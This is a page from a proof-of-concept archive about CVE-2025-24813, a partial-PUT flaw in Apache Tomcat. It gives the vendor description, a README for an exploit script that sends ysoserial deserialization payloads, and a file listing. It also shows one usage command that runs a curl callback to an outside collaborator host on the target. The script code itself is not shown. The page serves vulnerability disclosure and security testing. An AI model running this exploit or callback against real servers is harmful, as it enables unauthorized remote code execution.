Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-24813 PoC — Apache Tomcat: Potential RCE and/or information disclosure and/or information corruption with partial PUT

Source
Associated Vulnerability
Title:Apache Tomcat: Potential RCE and/or information disclosure and/or information corruption with partial PUT (CVE-2025-24813)
Description:Path Equivalence: 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.2, from 10.1.0-M1 through 10.1.34, from 9.0.0.M1 through 9.0.98. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected. If all of the following were true, a malicious user was able to view security sensitive files and/or inject content into those files: - writes enabled for the default servlet (disabled by default) - support for partial PUT (enabled by default) - a target URL for security sensitive uploads that was a sub-directory of a target URL for public uploads - attacker knowledge of the names of security sensitive files being uploaded - the security sensitive files also being uploaded via partial PUT If all of the following were true, a malicious user was able to perform remote code execution: - writes enabled for the default servlet (disabled by default) - support for partial PUT (enabled by default) - application was using Tomcat's file based session persistence with the default storage location - application included a library that may be leveraged in a deserialization attack Users are recommended to upgrade to version 11.0.3, 10.1.35 or 9.0.99, which fixes the issue.
Description
A PoC for CVE-2025-24813
Readme
CVE-2025-24813-PoC
===

CVE-2025-24813 affects Apache Tomcat - if it's a vulnerable version and spectacularly misconfigured, an attacker can get RCE with one GET and one POST.

More info [here](https://www.rapid7.com/blog/post/2025/03/19/etr-apache-tomcat-cve-2025-24813-what-you-need-to-know/)

This is Yiheng An, Jun Li, Qiang Liu, Haozhe Zhang, Qi Deng's script from the recent [writeup](https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2025-03-14-Testing-CVE-2025-24813.md) modified to accept a command, generate all ysoserial gadget payloads and send them to your target.

Shared in the interest of ethical security testing.

Usage example:
```
python3 exploit.py --command 'curl http://yourcollaburl' --target 'http://192.168.10.0.1:8080' --proxy '127.0.0.1:8080'
```

`poc.mp4` shows the script in action, generating the payloads and sending them to the target, and in the right-hand pane we see the interact listener is being called.
File Snapshot

[4.0K] /data/pocs/6820506fcc4279a241f108bfef1472369f0d3e4b ├── [3.4K] exploit.py ├── [2.4M] poc.mp4 ├── [ 965] README.md └── [ 57M] ysoserial-all.jar 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →